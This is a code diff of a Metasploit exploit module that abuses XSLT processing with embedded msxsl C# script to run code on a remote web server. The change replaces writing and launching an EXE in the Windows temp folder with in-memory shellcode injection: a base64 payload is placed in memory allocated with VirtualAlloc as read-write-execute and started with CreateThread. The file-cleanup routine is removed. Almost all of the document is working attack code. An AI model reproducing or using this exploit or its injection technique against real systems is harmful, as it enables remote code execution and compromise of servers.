@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
include Msf ::Exploit ::Remote ::HttpClient
15
15
include Msf ::Exploit ::EXE
16
- include Msf ::Exploit ::FileDropper
17
16
18
17
def initialize ( info = { } )
19
18
super ( update_info ( info ,
@@ -27,7 +26,8 @@ def initialize(info = {})
27
26
} ,
28
27
'Author' => [
29
28
'Rich Lundeen' , # Vulnerability discovery
30
- 'juan vazquez' # Metasploit module
29
+ 'juan vazquez' , # Metasploit module
30
+ 'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
31
31
] ,
32
32
'License' => MSF_LICENSE ,
33
33
'References' =>
@@ -102,35 +102,6 @@ def check
102
102
return Exploit ::CheckCode ::Safe
103
103
end
104
104
105
-
106
- def on_new_session ( session )
107
- if session . type == "meterpreter"
108
- session . core . use ( "stdapi" ) unless session . ext . aliases . include? ( "stdapi" )
109
- end
110
-
111
- @dropped_files . delete_if do |file |
112
- win_file = file . gsub ( "/" , "\\ \\ " )
113
- if session . type == "meterpreter"
114
- begin
115
- windir = session . fs . file . expand_path ( "%WINDIR%" )
116
- win_file = "#{ windir } \\ Temp\\ #{ win_file } "
117
- # Meterpreter should do this automatically as part of
118
- # fs.file.rm(). Until that has been implemented, remove the
119
- # read-only flag with a command.
120
- session . shell_command_token ( %Q|attrib.exe -r "#{ win_file } "| )
121
- session . fs . file . rm ( win_file )
122
- print_good ( "Deleted #{ file } " )
123
- true
124
- rescue ::Rex ::Post ::Meterpreter ::RequestError
125
- print_error ( "Failed to delete #{ win_file } " )
126
- false
127
- end
128
-
129
- end
130
- end
131
-
132
- end
133
-
134
105
def uri_path
135
106
uri_path = target_uri . path
136
107
uri_path << "/" if uri_path [ -1 , 1 ] != "/"
@@ -154,10 +125,8 @@ def build_referer
154
125
def exploit
155
126
156
127
print_status ( "Generating the EXE Payload and the XSLT..." )
157
- exe_data = generate_payload_exe
158
- exe_string = Rex ::Text . to_hex ( exe_data )
159
- exename = rand_text_alpha ( 5 + rand ( 5 ) )
160
128
fingerprint = rand_text_alpha ( 5 + rand ( 5 ) )
129
+
161
130
xslt_data = <<-XSLT
162
131
<?xml version='1.0'?>
163
132
<xsl:stylesheet version="1.0"
@@ -166,24 +135,27 @@ def exploit
166
135
xmlns:user="http://mycompany.com/mynamespace">
167
136
<msxsl:script language="C#" implements-prefix="user">
168
137
<![CDATA[
138
+
139
+ private static UInt32 MEM_COMMIT = 0x1000;
140
+ private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
141
+
142
+ [System.Runtime.InteropServices.DllImport("kernel32")]
143
+ private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
144
+
145
+ [System.Runtime.InteropServices.DllImport("kernel32")]
146
+ private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
147
+
169
148
public string xml()
170
149
{
171
- char[] charData = "#{ exe_string } ".ToCharArray();
172
- string fileName = @"C:\\ windows\\ temp\\ #{ exename } .txt";
173
- System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);
174
- System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);
175
- for (int i = 0; i < charData.Length; i++)
176
- {
177
- bw.Write( (byte) charData[i]);
178
- }
179
- bw.Close();
180
- fs.Close();
181
- System.Diagnostics.Process p = new System.Diagnostics.Process();
182
- p.StartInfo.UseShellExecute = false;
183
- p.StartInfo.RedirectStandardOutput = true;
184
- p.StartInfo.FileName = @"C:\\ windows\\ temp\\ #{ exename } .txt";
185
- p.Start();
186
- return "#{ fingerprint } ";
150
+ string shellcode64 = @"#{ Rex ::Text . encode_base64 ( payload . encoded ) } ";
151
+ byte[] shellcode = System.Convert.FromBase64String(shellcode64);
152
+ UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
153
+ System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
154
+ IntPtr hThread = IntPtr.Zero;
155
+ IntPtr pinfo = IntPtr.Zero;
156
+ UInt32 threadId = 0;
157
+ hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
158
+ return "#{ fingerprint } ";
187
159
}
188
160
]]>
189
161
</msxsl:script>
@@ -210,7 +182,6 @@ def exploit
210
182
} )
211
183
if res and res . code == 200 and res . body =~ /#{ fingerprint } / and res . body !~ /Error/
212
184
print_good ( "Exploitation was successful" )
213
- register_file_for_cleanup ( "#{ exename } .txt" )
214
185
else
215
186
fail_with ( Exploit ::Failure ::Unknown , "There was an unexpected response to the xslt transformation request" )
216
187
end
0 commit comments